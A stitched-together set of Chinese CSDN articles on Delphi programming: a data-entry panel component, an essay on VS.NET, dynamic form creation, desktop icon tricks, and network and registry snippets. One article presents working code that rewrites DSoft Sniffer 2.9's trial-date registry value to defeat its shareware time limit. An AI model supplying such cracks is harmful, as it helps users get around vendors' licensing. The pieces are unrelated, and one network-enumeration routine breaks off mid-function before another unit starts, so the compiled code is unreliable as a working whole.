---- 不同的表字段数不同，有可能出现显示不下的情况，这就需要有滚动的功能。所以，在控件中插入了一个TscrollBox控件。最后一个需要注意的是动态控件的撤消及内存的释放。控件数组的撤消及内存的释放是有顺序的--与创建完全相反的顺序。否则会出错。

----控件的使用

---- 先将DBPanel控件放在窗体上，然后设置数据源属性、数据输入表格的列数等属性。在程序中，打开数据源后，调用创建数据编辑控件的方法即可。即：

Query1.Open;- >打开数据源
DBPanel1.CreateEditors; - >创建各字段的编辑控件
DBPanel1.AddHits(0,['1111','11222','eeee']);
- >为某字段设置提示信息
DBPanel1.AddHits(1,['1111','11222','eeee']);
- >为某字段设置提示信息
该控件及示例程序在Win98+Delphi 5.0环境下调试通过。

---- 附件：TDBPanel的源代码

unit DBPanel;
interface
uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,
ExtCtrls, dbctrls, stdctrls, db;
type
TDBPanel = class(TPanel)
private
{ Private declarations }
FLeft: Integer;
FTop: Integer;
maxTextLen: Integer;
maxLabelLen: Integer;
FScrollBox: TScrollBox; {滚动控件}
FLineHeight: Integer;
FClick: TNotifyEvent;
Editors: array of TDBComboBox;
- >具体进行编辑所用的数据控件数组，动态生成
Labels: array of TLabel;
- >各字段的标题，动态生成
OkButton: TButton;
- >最后增加的确定按钮，用于实现提交动作。
{ 数据源}
FDataSource: TDataSource;
FColumns: Integer;
- >输入表格的列数
protected
{ Protected declarations }
procedure FreeEditors;
- >释放数据输入控件的内存
public
procedure CreateEditors;//
(DS: TDataSource; ColCount: Integer);
- >创建各字段的数据输入控件
constructor Create(AOwner:
TComponent); override;
destructor Destroy; override;
procedure AKeyPress(Sender:
TObject; var Key: Char);
procedure AKeyDown(Sender:
TObject; var Key: Word; Shift:
TShiftState);
procedure ClearHits(ItemIndex: Integer);
procedure AddHits(ItemIndex:
Integer; Hits: array of string);
function Editor(Index: Integer):
TDBComboBox;
{ Public declarations }
published
property LeftLimit: Integer read
FLeft write FLeft default 10;
property TopLimit: Integer read
FTop write FTop default 10;
property EditorLen: Integer read
maxTextLen write maxTextLen;
property LabelLen: Integer read
maxLabelLen write maxLabelLen default 100;
property LineHeight: Integer read
FLineHeight write FLineHeight default 15;
property OnOkClick: TNotifyEvent
read FClick write FClick;
property DataSource: TDataSource
read FDataSource write FDataSource;
- >数据源
property Columns: Integer read
FColumns write FColumns;- >表列数
{ Published declarations }
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('Additional', [TDBPanel]);
end;

{ 为第I字段增加提示信息的方法}
procedure TDBPanel.AddHits(ItemIndex:
Integer; Hits: array of string);
var
m,n,i: Integer;
begin
n := Length(Editors);
m := Length(Hits);
if ItemIndex< n then begin
for i:=0 to m-1 do Editors[ItemIndex].Items.Add(Hits[i]);
end;
end;

procedure TDBPanel.AKeyDown
(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if (Sender is TDBComboBox) then begin
case Key of
VK_Next: (Sender as TDBComboBox)
.DataSource.DataSet.Next;
VK_PRIOR: (Sender as TDBComboBox)
.DataSource.DataSet.Prior;
end;
end;
end;

procedure TDBPanel.AKeyPress(Sender: TObject; var Key: Char);
begin
if (Sender is TDBComboBox) then begin
if Key=#13 then (Owner as TForm).Perform(WM_NEXTDLGCTL, 0, 0);
end;
end;

procedure TDBPanel.ClearHits(ItemIndex: Integer);
var
n: Integer;
begin
n := Length(Editors);
if ItemIndex< n then Editors[ItemIndex].Items.Clear;
end;

constructor TDBPanel.Create(AOwner: TComponent);
begin
Inherited Create(AOWner);
FLeft :=10;
FTop := 10;
maxTextLen := 100;
maxLabelLen := 100;
FLineHeight := 15;
end;

{ 创建各字段的数据输入控件的方法}
procedure TDBPanel.CreateEditors;//
(DS: TDataSource; ColCount: Integer);
var
i, n, RowCount: Integer;
TextHeight: Integer;
begin
if DataSource.DataSet.Active then begin
n := DataSource.DataSet.FieldCount;
{ 计算最大的标题长度及显示长度}
DataSource.DataSet.First;
{ 计算高度}
TextHeight := Canvas.TextHeight(DataSource
.DataSet.Fields[0].DisplayLabel) + FLineHeight; //10;
{ 计算行列数}
RowCount := n div Columns;
if n mod Columns < > 0 then inc(RowCount);
{ 分配内存}
FreeEditors;
SetLength(Editors, n);
SetLength(Labels, n);
{ 创建滚动盒}
FScrollBox := TScrollBox.Create(Owner);
FScrollBox.Parent := Self;
FScrollBox.Align := alClient;
{ 创建编辑}
for i:=0 to n-1 do begin
{ 创建标题}
Labels[i] := TLabel.Create(Owner);
Labels[i].Parent := FScrollBox; //Self;
Labels[i].Caption := DataSource.DataSet.Fields[i].DisplayLabel;
Labels[i].Left := FLeft + (maxLabelLen +
maxTextLen + 10) * (i div RowCount);
Labels[i].Width := maxLabelLen;
Labels[i].Top := FTop + (i mod RowCount) * TextHeight + 5;
{ 创建编辑对象}
Editors[i] := TDBComboBox.Create(Owner);
Editors[i].Parent := FScrollBox; //Self;
Editors[i].Left := Labels[i].Left + Labels[i].Width;
Editors[i].Width := maxTextLen;
Editors[i].Top := FTop + (i mod RowCount) * TextHeight;
Editors[i].DataSource := DataSource;
Editors[i].DataField := DataSource.DataSet.Fields[i].FieldName;
Editors[i].OnKeyPress := AKeyPress;
Editors[i].OnKeyDown := AKeyDown;
end;
{ 创建Ok按钮}
OkButton := TButton.Create(Owner);
OkButton.Parent := FScrollBox;
OkButton.Left := Editors[n-1].Left;
OkButton.Top := Editors[n-1].Top + TextHeight;
OkButton.Caption := '确定';
OKButton.OnClick := FClick;
end;
end;

destructor TDBPanel.Destroy;
begin
FreeEditors;
Inherited Destroy;
end;

function TDBPanel.Editor(Index: Integer): TDBComboBox;
begin
if Index< Length(Editors) then Result := Editors[Index]
else Result := nil;
end;

procedure TDBPanel.FreeEditors;
var
i,n: Integer;
begin
{ 内存的释放是要有顺序的！必须以创建的相反的顺序进行！
尤其是当组件之间有父子关系时}
if OkButton< >nil then OkButton.Free;
if Editors< >nil then begin
n := Length(Editors);
for i:=0 to n-1 do Editors[i].free;
Editors := nil;
n := Length(Labels);
for i:=0 to n-1 do Labels[i].Free;
Labels := nil;
end;
if FScrollBox< >nil then begin
FScrollBox.Free;
FScrollBox := nil;
end;
end;

end.


CSDN_文档中心_透过藩篱看微软的Visual Studio.NET

作者：Steve Scott 编译:SnowedForest

能在一本经常被狂热的DELPHI开发者阅读的杂志上发表关于 Microsoft Visual Studio文章，既可以看作是一个天赐的良机，也可以是一杯毒酒。当我写这句话的时候，我也还不知道我自己究竟是何观点。 但作为一名开发者，我一直持这种态度：在工作中我要用最好的开发工具。在过去的六年中，我几乎都在用DELPHI。即使我们在用其尝试实现最新的MicroSoft技术（像COM,MTS,Asp和ISAPI等），我们仍旧可以坦白地说，我们正在使用最棒的工具，这也是我钟爱这个开发工具的明证。随着VS7，也就是现在所说的Visual Studio.NET(VS.NET)清晰地出现在我们的面前时，我们还能保持这种观点吗？

在我们研究VS.NET的细节之际，我想陈述这样一个事实：在VS.NET今年晚些时候发布之前，我几乎能描述出下一个微软开发环境的具体形式。（因为）VS.NET Beta 1早在2000年11月之前就可以免费获得了。在公共新闻组中，开发组成员经常出现，同时任何人都可以报告他们所发现的BUG。

这与BORLAND对Beta版处理方法相比，区别太明显了。如果你认识的某个人正在测试DELPHI6的Beta版，他们可能都没向你提起过，更别说和你讨论这个产品了。我相信BORLAND公司这种对软件发布方面的处理方式有充分的理由，但我还是不能理解他们。尽管我与微软毫不相干，并且事实上我也从未用过VisualStudio的当前版本，但我真的想为它的下一个版本的发布做点事，在一定程度上能为它锦花添花。现在我觉得自己有点天真了，我虽然有机会让这个版本带有我所建议的特征，但这种希望肯定是非常渺茫的，不过这种参与感使得我很有可能购买这个产品。

相比之下，我觉得我像是在这里守株待兔，坐等BORLAND来告诉我那些我在DELPHI6中想要的东西。不幸的是，对软件的（预先）感知在其发行成败中占了重要地位，就这一点来看，微软赢了。另外，尽管当VS.NET到来的时候DELPHI6很可能也开始发布了，但现在我却只能作一下VS.NET与DELPHI5的比较。

那好，VS.NET与当前版本的区别是什么呢？截然不同，这多诱人啊。VS.NET不是对Visual Studio的改进升级。正如它的名字一样，它是为微软新的.NET构架而设计的开发环境。事实上，我认为除非你用Visual C++(顺便说一句，它可视化程序还不是很高),否则不可能开发出标准的以API为基础的应用程序。（我必须把FOXPRO排除在我的结论之外，因为我不知道它适合安放在这个环境的哪个位置）。VS.NET问心无愧地把.NET构架作为其目标，为解决各式问题提供了一条统一的道路，这是事实。最重要的是，你是否愿意把开发.NET框架作为首选。

作为使用DELPHI的开发者，我们能与.NET构架比较的最接近的东西就是VCL了。微软花了大量时间（3年多）来开发一种语言－中性（间）对象（neutral object）封装Windows API。这种封装，或者说是构架，也拓展到了包括内存管理和异常处理在内的领域，在其它产品中也占了主导。简而言之，任何使用构架设计的语言将获得及时的垃圾回收和异常容错能力等功能,并且它也能充分利用和扩展任何其它.NET兼容的语言。

首先，构架将作为Windows95,98,NT和2000的附加补丁予以发布，它将成为构成未来微软操作系统的一个完整部分。我们猜想微软在未来的某些时候可能不再公布Windows API,而只允许通过.NET构架访问操作系统。想到这一点，我们上面的疑团也就解除了－现在的问题不是你将来是否要开发.NET的应用软件，而是在你转向.NET之前还能坚持多久。这有点象几年前Windows3.1与windows95Beta版的对峙，我们对此仍记忆犹新。而 现实是，不管有些人以前曾经怎么说，现在几乎没人还在windows3.1下进行开发。

正如你所看到的，，由于Visual Studio.NET与Delphi 5是针对不同平台的，所以拿来做比较是不尽合理的。当NET发布之时，Delphi 5所要做转变就像如同把Delphi 1变成Windows95的难度一样大。我提到，Borland没有正式宣布过任何关于支持.NET构架的计划，但有来自Borland的消息说Borland将支持.NET构架，并正紧密结合MS进行工作以确保Borland能完成此功能（支持.NET）(And yes, Mr Lawyer, we have permission to say so! Ed)，然而，直至现在他们才作了一个正式声明，开始提供Beta版，但现在大家除了测试Visual Studio之外，在 .NET中还有多大的余地预留出来（为测试Delphi）呢？

我摊牌吧：我说过我认为.NET是未来的希望，那么VS.NET提供了哪些东西以使我们来实现这个希望呢？这些产品包括VB.NET,它完全重新构建，当前的VB和它没有可比性；还有一种叫C#的新语言，以C＋＋语言为基础但去除了其糟粕，又吸取了其它语言如JAVA，PASCAL等语言的大量精华。这两种语言功能都很强大，支持单继承、事件（以代理形式）和属性。我还没发现这两种语言局限之处，尽管我也没有特意去查找（我把这种事留给Dave Jewell吧）。

所有的.NET 语言，包括VB和C#都要产生微软所谓的中性语言或者叫IL，这是必备条件。然后.NET公共语言运行时间（CLR）使用IL并产生机器码。这导致的结果就是在各种.NET语言执行时间的差异是感觉不到的，因为它们都使用同一个最终的Just-in-time编译器。

因为语言所有的功能都由构架来提供，所以你究竟要选择哪一种语言（比较好）完全由你对该语言语法的喜好决定。我现在主要使用C#,它也是我们的老朋友－Anders Hjelsberg的杰作，.NET构架也是由C#写的。这里我要说一句令一些人感到不安的话：如果Borland逼我使用Pascal以外的一种语言，我认为用C#感觉不错。

现在的Visual Studio .NET速度相当慢，又有点怪模怪样。但它还只是Beta版。其集成开发环境（IDE）使用起来也比较方便，但我得说我更喜欢DELPHI的IDE。我不想在这里展开一场关于IDE总的回顾，这只是想说假如我必须使用IDE，那它使用起来一定要方便，并且要比NotePad强得多。

很显然，VS.NET支持众多的新工程类型，以此来支撑那些搭建在.NET构架上的新特征。以前那个凌乱不堪的ASP改头换面成了ASP.NET。微软一旦找到了某一技术的的替代品，就会把旧的舍弃。我不得不说微软很擅长这一点。ASP曾是微软网络开发的旗舰，而当ASP.NET到来的时候，显而易见，ASP有点笨手笨脚，使用不便了。言归正传，ASP.NET看起来真的不错，它已列入我将来开发工具的必选名单。对你自己服务器端的控制能力是一个值得深入研究的问题。如果你是一个从事网络开发，你必须关注这一技术。网络服务也是.NET重要部分，VS.NET使得对网络服务的开发变得轻而易举。微软认为网络服务是未来分布式应用程序开发的核心，这只有用时间来证明了，但（与此同时）我认为网络服务的应用领域非常广阔。

直至此时，我主要集中讲述了关于VS.NET中可用到的新特性，这类特性在VS.NET中是很多的。不过，如果认为.NET只与因特网（Internet）有关，那就错了。.NET构架为传统的单层（single-tier）和多层(n-tier)开发提供了一个统一的构件主体。

如同我们能通过开发自己的控件扩展Delphi的VCL一样，我们现在也能在VS.NET中作同样的事。这真让人动心。你可以继承一个标准.NET类，再用VB来扩充它，最后用C#来继承你的新VB类。当你调试的时候，调试器可单步通过VB和C#代码。在VS.NET中，语言将不再是障碍。迄今为止,唯一令我感到失望的就是没有.NET构架本身的源码。我不清楚将来会不会公布出来，要是能的话就好了。数年来，许多传统的微软工具的使用者对我们Delphi开发者（开发的应用程序）所具有的特色一直胡言乱语，但很显然，最终微软在某些方面将赶上来。

总之，尽管有这么多的改进，VS.NET看起来仍很象Visual Studio（不过不要忘记这只是Beta版，谁知道最终的发布版本将会有哪些不同呢？）。然而，在当前用Delphi开发的传统Windows应用程序前面，VS.NET产生的应用程序将是一个令人耳目一新的事物和途径。

我个人认为，在过去的六年中，没有一种通用Windows开发工具比Delphi更有活力，更实用。今天，随着.NET世界对我们的猛烈冲击，我怀疑是否有一种东西比.NET更有生命力。我希望Borland能在这个新的时期猛醒，不要过分被那个令人好奇的、但又带有商业色彩的并且令人怀疑的（我个人观点）Linux之类的玩意儿搅得心猿意马了。

我将来要开发.NET应用程序，如果我要这样做的话，我将使用VS.NET。但我更愿意看到Delphi.NET。由于微软已将这项技术发布多时，所以在它发布这前，让人感觉就好象它早就来到我们中间。这就比较麻烦。这意味着Borland 必须加快工作进度。我再强调一次：快。我们早已看到，Paradox and dBASE for Windows这样的开发产品就曾被来自微软的竞争者远远抛在后面。

后记：这是在Delphi6发布之前翻译的，本来不想放上来，一是因为翻译水平有限，让大家见笑；二是我也很喜欢Delphi，不想让DELPHI　FUNS看了和我一起有同样的感受。但还是放上来了，希望对大家有点借鉴作用。


CSDN_文档中心_图像输出组件的制作

图像输出组件的制作
作者：段永义(dyydyy) 主页：HTTP：//WARE.51.NET 单位：中庐机

记得在电脑报上看过一篇文章，一名想学图像合成的读者问了一个很含糊的问题，反正意思吗，就是如何如何地...,如何何地大概是想做一个能处理图像的软件吧！结果专家呢，他的回复呢，更是让你丈二和尚摸不着头脑，讲了一大段屁理论，又是如何如何地高深，作为我这样的读者，反正是看了也白看，只耽误时间，我想和我这样的读者还大有人在，在我这样水平线上的程序员也大有人在，以致于渐渐地这篇搞笑文章依稀在我的脑海里淡却而去...
上月，我在探索ASP组件编程时（我用VB编写ASP组件），无意中发现了一个特别很好的方法，编写图像输出组件原来竟有这么简单的办法，这个办法，你一看我的组件源代码就完全可以看懂了。留点悬念吧......,如果您要是想要此组件的话，请到我的主页下载。（http://ware.51.net),当然你要是看不中我粗劣的主页，我就将我的思路给个提示，您自己想出的，才真正地属于您！-->前段时间，我帮别人考二级QBASIC，是这个破玩意给了我启发。<--
2001-4-25


CSDN_文档中心_完成DELPHI的不可能功能：宏替换!(如何根据字符串来创建对象)

完成DELPHI的不可能功能：宏替换!(如何根据字符串来创建对象)

我们在做一个比较大的系统(采用MDI方式)的时候，希望项目中的菜单、窗体全部是动态创建的，这样的话，程序员就很容易利用数据库将这些内容储存起来，需要的时候再根据这个用户的权限来取得相应的记录，根据这些记录来创建菜单、表单等!

在这个过程中，我们必须面对的一个问题是： 在储存窗体对象的时候我们只能储存它的对象名(字符串)， 但我们在程序中如何实现将字符串“转换”为对象名呢？(注：我这里用引号把“转换”引起来是因为：字符串是不可能转换为对象名的)

这个功能其实在一些伪编译的开发工具中，如VF中就比较容易实现，如在VFP中只要用一个“&”运算符就可以实现了!但由于DELPHI是一个编译程序，所以不可能这么去处理的!

我们来看下面的简单例子：

//为了简单起见，在这里我没有写数据库操作的代码，只是直接写了一个字符串，实际使用的时候可以根据实际情况来写!

1、在DELPHI集成开发环境中关闭所有的项目；

2、建立一个新的MDI应用程序项目：file->new->other->projects->MDI Application;

3、编辑MainMenu1，添加一个菜单项TestChange,并双击这个菜单项，编辑代码如下：

4、在主窗口(mainform)中写上以下代码，以便调用你想要的窗口

procedure TMainForm.Da1Click(Sender: TObject);
var
Child: TForm;//声明一个TForm类型的变量，做为显示子窗口的名称变量
begin
{ create a new MDI child window }
Child := GetClassName('TMDIChild');//TMDIChild就是你在数据库存储的，子窗口的类名!
Child.Caption := 'hello world'; //设置窗体标题
Child.Show; //显示这个窗体
end;
5、编辑GetClassName函数：

private
{ Private declarations }
procedure CreateMDIChild(const Name: string);
Function GetClassName(tmpClass:String):TForm; //记得要在程序开头做声明
public
{ Public declarations }
end;

....

function TMainForm.GetClassName(tmpClass:String):TForm;
var
cClass:TClass;
begin
cClass:=GetClass(tmpClass);//取得类名
if cClass <>nil then //如果这个类已经注册
application.CreateForm(TComponentClass(cClass),result);//创建这个类的实例
end;

5、在TMDIChild窗口中注册这个窗口的类：

initialization
registerClass(TMDIChild);

finalization
unregisterClass(TMDIChild);//注册完了当然要释放掉它了

这样你就可以完成类似于VF中的&这个宏替换的功能了!

不知道是不是这个标题有点太过夸张了？吓着你了吧!


CSDN_文档中心_玩转Windows桌面图标

玩转Windows桌面图标

大家一定和我一样对Windows的桌面十分不满意吧。那就拿起手术刀（Delphi）给它动动手术。

首先要对付的是桌面图标那一个个难看的、带有背景色的文字，不仅看上去别扭，还遮住了漂亮的墙纸，一定要去掉它，把它变成透明。其次就是图标的位置，只会傻傻地呆在屏幕的左边，还得我们一个个去拖，真累！给它来点新花样，Please Follow Me！

1、 新建一工程，在 uses 中加入 CommCtrl 单元，窗体上加一个按钮；

2、 声明一个取得桌面句柄的函数：

function TForm1.GetDesktopHand: THandle;

begin

Result:=FindWindow('progman',nil);

Result:=GetWindow(Result,GW_Child);

Result:=GetWindow(Result,GW_Child);

end;

3、 声明一个设置图标文字颜色的过程：

procedure TForm1.SetTextColor(ForeClr, BackClr: TColor);

var Hand: THandle;

begin

Hand:= GetDesktopHand;

Listview_SetTextColor(Hand,ForeClr); // 设置文字前景色；

Listview_SetTextBkColor(Hand,BackClr); // 设置文字背景色，crNone 为透明；

Listview_RedrawItems(Hand,0,Listview_GetItemCount(Hand)); // 重画；

end;

有了上面的两个方法，你已经可以对桌面动小手术了。下面介绍图标的排列方式。

4、 以屏幕的中心为圆点作圆形排列：

procedure TForm1.Circle(r: integer); // 形参 r 为半径；

var

i, Count, CenterX, CenterY, TempR :integer;

Hand: THandle;

Radian: double;

TempRect: TRect;

DesktopHeight,DesktopWidth :integer;

X, Y : Word;

begin

Hand:=GetDesktopHand;

SystemParametersInfo(SPI_GetWorkArea,0,@TempRect,0); // 取得工作区域；

DesktopWidth:=TempRect.Right - TempRect.Left; // 工作区的宽（即屏幕的宽）；

DesktopHeight:= TempRect.Bottom - TempRect.Top; // 工作区的高（即屏幕的高）；

CenterX:=DesktopWidth div 2; // 取得圆心 X 坐标；

CenterY:=DesktopHeight div 2; // 圆心 Y 坐标；

if CenterX>CenterY then

TempR:=CenterY

else

TempR:=CenterX;

if r>TempR then r:=TempR; // 半径不能超过屏幕中心点到四边的最短距离；

Count:=Listview_GetItemCount(Hand); // 桌面上图标个数；

Radian:=2*3.14159/Count; // 相邻图标间的弧度；

for i:=0 to Count-1 do

begin

// 第一个图标排在正上方；

X:=Integer(CenterX+Trunc(r*Sin(i*Radian))); // 图标的X坐标；

Y:=Integer(CenterY+Trunc(r*Cos(i*Radian))); // 图标的Y坐标；

SendMessage(Hand,LVM_SetItemPosition,i,MakeLparam(X, y)); // 设置坐标；

end;

end;

5、 图标右对齐：

procedure AlignRight(Rec: Integer); // 形参 Rec 为一个图标所占区域大小，一般为77；

var Hand: THandle;

h, I, j, DesktopHight, DesktopWidth :integer;

TempRect : TRect;

Begin

Hand:=GetDesktopHand;

SystemParametersInfo(SPI_GetWorkArea,0,@TempRect,0); // 取得工作区域；

DesktopWidth:=TempRect.Right - TempRect.Left; // 工作区的宽（即屏幕的宽）；

DesktopHeight:= TempRect.Bottom - TempRect.Top; // 工作区的高（即屏幕的高）；

I:=0; // 图标所排的列数

J:=0;

For h:=0 to Listview_GetItemCount(Hand)-1 do

Begin

Inc(j);

If j*rec>DesktopHeight then // 排完一列；

Begin

Inc(i); // 换列

J:=1;

End;

SendMessage(Hand,LVM_SetItemPosition,h,

MakeLparam(DesktopWidth-Rec*(I+1),Rec*(j-1));

End; // for 循环结束；

End;

6、 在按钮的单击事件中加入代码：

procedure TForm1.Button1Click(Sender: TObject);

begin

SetTextColor(clBlack,crNone); // 设置图标文字颜色；

Circle(200); // 把图标排列成半径为200的圆；

// AlignRight(77)； // 右对齐；

end;

编译运行，单击按钮。哇塞！太棒了！你还可发挥你的想象力，对程序稍加改进，把图标排成蛇形、椭圆形、环形等等。以上程序在 Win98+Delphi5下运行通过。


CSDN_文档中心_网络包探测软件

网络包探测软件 DSoft Sniffer 2.9 是不错的Shareware，但有时间限制，如何去除
呢？
以下是Delphi5写的核心部分。

var
r: TRegistry;
t: DWORD;
begin
r := TRegistry.Create;
try
r.RootKey := HKEY_LOCAL_MACHINE;
r.OpenKey('\SOFTWARE\Dsoft\License\Products\3\2', True);
t := DWORD(r.ReadInteger('LastDate')); // Pass while Sniffer is installed.
r.WriteInteger('LastDate', $8f904923);
except
t := $ffffffff;
end;
r.Free;
if t=$ffffffff then
Application.MessageBox(
'DSoft Sniffer 2.9 not installed!',
'Error',
MB_OK+MB_ICONERROR)
else
Application.MessageBox(
'Success! You may use it for a long time. :)',
'Message',
MB_OK+MB_ICONINFORMATION);
end;


CSDN_文档中心_网络和通讯编程

打开拨号连接
    调用拨号网络里的拨号程序来连接：其中'连接Internet'为你创建的拨号程序名称
winexec('rundll32.exe rnaui.dll,RnaDial '+'连接Internet',9);
一个串口通讯的问题?
Serial Port Communications?
问
I want to build a simple electrical controller which receives input from a
sensor through a comm port and either turns a power source(s) on or off
based upon this signal. I want this controller to be software in nature.
How do I communicate through the port and is it possible to discern changes
in voltage.
If not, what kind of signal must be input.
答
When you want to write and read only binary signals you can use the printer
parallel port. For that purpose the Port command is useful. In the below an
example of some D1 code used for bidirectional 2 wire bus communication (I2C).
BaseAddress is $278, $378 or $3BC, depending on the LPT port used for
communication.
There is a 'but'. In D1 the port function was available but not documented. In
D2 and D3 it seems to have disappeared entirely (Please somebody correct me if
this is wrong).
We are using the parallel printer port with attached a small interface card
with some I/O buffering for control of RF modules. Could somebody indicate
whether the Port function still exist or what the alternative could be ?
regards,
Hans Brekelmans
PROCEDURE SetIICline(Terminal: IICterminalTypes; High: Boolean);
Var Count : Word;
CtrlAddress: word;
Begin { set iic line }
CtrlAddress:=BaseAddress+2;
Case Terminal of
SCL : if High then Port[CtrlAddress]:=$08 else Port[CtrlAddress]:=$00;
SDA : if NOT High then Port[BaseAddress]:=$80 else Port[BaseAddress]:=$00;
END;
For Count := 1 to ClockDelay do;
End; {SetIICline}
FUNCTION GetIICline(Terminal: IICterminalTypes): Boolean;
const SDA_IN=$80; { SDA: 25 pin #11, status, NOT BUSY, bit 7 }
SCL_IN=$08; { SCL: 25 pin #15, status, NOT Error, bit 3 }
var Count : Word;
ReadAddress: word;
Begin
ReadAddress:=BaseAddress+1;
CASE Terminal OF
SCL: GetIICline:=((Port[ReadAddress] AND SCL_IN) = SCL_IN);
SDA: GetIICline:=((Port[ReadAddress] AND SDA_IN) = SDA_IN); { read sda
pin }
END;
For Count := 1 to ClockDelay do;
End;
得到本机IP地址?
How about using winsockets?
This code is untested and ugly.
program get_ip;
uses
winsock,sysutils;
VAR
ch : ARRAY[1..32] OF Char;
i : Integer;
WSData: TWSAData;
MyHost: PHostEnt;
begin
IF WSAstartup(2,wsdata)<>0 THEN
BEGIN
Writeln('can''t start Winsock: Error ',WSAGetLastError);
Halt(2);
END;
try
IF getHostName(@ch[1],32)<>0 THEN
BEGIN
Writeln('getHostName failed');
Halt(3);
END;
except
Writeln('getHostName failed');
halt(3);
end;
MyHost:=GetHostByName(@ch[1]);
IF MyHost=NIL THEN
BEGIN
Writeln(GetHostName('+StrPas(@ch[1])+') failed : Error
'+IntToStr(WSAGetLastError));
Halt(4);
END
ELSE
BEGIN
Write('address ');
FOR i:=1 TO 4 DO
BEGIN
Write(Ord(MyHost.h_addr^[i-1]));
IF i<4 THEN
write('.')
ELSE
writeln;
END;
END;
end.
任何动态改变/添加网络设置中的 TCP/IP 的 DNS 地址
例如，把 DNS Server的地址添加为192.0.0.1和192.1.1.0，可调用：
SetTCPIPDNSAddresses('192.0.0.1 192.1.1.0') ;
// 各地址之间用一个空格隔开
1. SetTCPIPDNSAddresses 定义如下：
procedure SetTCPIPDNSAddresses( sIPs : string );
begin
//
// if using Windows NT
//
SaveStringToRegistry_LOCAL_MACHINE(
'SYSTEM\CurrentControlSet' +
'\Services\Tcpip\Parameters',
'NameServer',
sIPs );
//
// if using Windows 95
//
SaveStringToRegistry_LOCAL_MACHINE(
'SYSTEM\CurrentControlSet' +
'\Services\VxD\MSTCP',
'NameServer',
sIPs );
end;
2. 其中 SaveStringToRegistry_LOCAL_MACHINE 定义：
uses Registry;
procedure SaveStringToRegistry_LOCAL_MACHINE(
sKey, sItem, sVal : string );
var
reg : TRegIniFile;
begin
reg := TRegIniFile.Create( '' );
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.WriteString( sKey, sItem, sVal + #0 );
reg.Free;
end;
如何在程序中动态取得Win95/98的网络邻居中的工作组及计算机名?
可参考下面代码，或许有所帮助：
procedure GetDomainList(TV:TTreeView);
var
a : Integer;
ErrCode : Integer;
NetRes : Array[0..1023] of TNetResource;
EnumHandle : THandle;
EnumEntries : DWord;
BufferSize : DWord;
s : string;
itm : TTreeNode;
begin
{ Start here }
try
With NetRes[0] do begin
dwScope :=RESOURCE_GLOBALNET;
dwType :=RESOURCETYPE_ANY;
dwDisplayType :=RESOURCEDISPLAYTYPE_DOMAIN;
dwUsage :=RESOURCEUSAGE_CONTAINER;
lpLocalName :=NIL;
lpRemoteName :=NIL;
lpComment :=NIL;
lpProvider :=NIL;
end;
{ get net root }
ErrCode:=WNetOpenEnum(
RESOURCE_GLOBALNET,
RESOURCETYPE_ANY,
RESOURCEUSAGE_CONTAINER,
@NetRes[0],
EnumHandle
);
If ErrCode=NO_ERROR then begin
EnumEntries:=1;
BufferSize:=SizeOf(NetRes);
ErrCode:=WNetEnumResource(
EnumHandle,
EnumEntries,
@NetRes[0],
BufferSize
);
WNetCloseEnum(EnumHandle);
ErrCode:=WNetOpenEnum(
RESOURCE_GLOBALNET,
RESOURCETYPE_ANY,
RESOURCEUSAGE_CONTAINER,
@NetRes[0],
EnumHandle
);
EnumEntries:=1024;
BufferSize:=SizeOf(NetRes);
ErrCode:=WNetEnumResource(
EnumHandle,
EnumEntries,
@NetRes[0],
BufferSize
);
IF ErrCode=No_Error then with TV do try
a:=0;
Items.BeginUpDate;
Items.Clear;
Itm:=Items.Add(TV.Selected,string(NetRes[0].lpProvider));
Itm.ImageIndex:=0;
Itm.SelectedIndex:=0;
{ get domains }
下面的一个单元定义了一个组件. TNetworkBrowser, 可以枚举hierachical树上所有
的网络资源. 实际上浏览是要花费很长时间的,这您可以通过在WINDOWS资源管理器
中打开"整个网络" 来比较一下. 如果你设置SCOPE属性 为nsContext , 你就可以看到
和网络邻居中一样的机器列表.
unit NetBrwsr;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
TNetScope = (nsConnected, nsGlobal, nsRemembered, nsContext);
TNetResourceType = (nrAny, nrDisk, nrPrint);
TNetDisplay = (ndDomain, ndGeneric, ndServer, ndShare, ndFile, ndGroup,
ndNetwork, ndRoot, ndShareAdmin, ndDirectory, ndTree, ndNDSContainer);
TNetUsage = set of (nuConnectable, nuContainer);
TNetworkItems = class;
TNetworkItem = class
private
FScope: TNetScope;
FResourceType: TNetResourceType;
FDisplay: TNetDisplay;
FUsage: TNetUsage;
FLocalName: string;
FRemoteName: string;
FComment: string;
FProvider: string;
FSubItems: TNetworkItems;
public
constructor Create;
destructor Destroy; override;
property Scope: TNetScope read FScope;
property ResourceType: TNetResourceType read FResourceType;
property Display: TNetDisplay read FDisplay;
property Usage: TNetUsage read FUsage;
property LocalName: string read FLocalName;
property RemoteName: string read FRemoteName;
property Comment: string read FComment;
property Provider: string read FProvider;
property SubItems: TNetworkItems read FSubItems;
end;
TNetworkItems = class
private
FList: TList;
procedure SetItem(Index: Integer; Value: TNetworkItem);
function GetItem(Index: Integer): TNetworkItem;
function GetCount: Integer;
public
constructor Create;
destructor Destroy; override;
procedure Clear;
procedure Add(Item: TNetworkItem);
procedure Delete(Index: Integer);
property Items[Index: Integer]: TNetworkItem read GetItem write
SetItem; default;
property Count: Integer read GetCount;
end;
TNetworkBrowser = class(TComponent)
private
FItems: TNetworkItems;
FScope: TNetScope;
FResourceType: TNetResourceType;
FUsage: TNetUsage;
FActive: Boolean;
procedure Refresh;
procedure SetActive(Value: Boolean);
procedure SetScope(Value: TNetScope);
procedure SetResourceType(Value: TNetResourceType);
procedure SetUsage(Value: TNetUsage);
procedure EnumerateNet(NetItems: TNetworkItems; lpnr: PNetResource);
protected
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
procedure Open;
procedure Close;
property Items: TNetworkItems read FItems;
published
property Scope: TNetScope read FScope write SetScope default nsGlobal;
property ResourceType: TNetResourceType read FResourceType
write SetResourceType default nrAny;
property Usage: TNetUsage read FUsage write SetUsage default [];
property Active: Boolean read FActive write SetActive default False;
end;
implementation
type
PNetResourceArray = ^TNetResourceArray;
TNetResourceArray = array[0..0] of TNetResource;
{ TNetworkItem }
constructor TNetworkItem.Create;
begin
inherited;
FSubItems := TNetworkItems.Create;
end;
destructor TNetworkItem.Destroy;
begin
if FSubItems <> nil then
FSubItems.Free;
inherited;
end;
{ TNetworkItems }
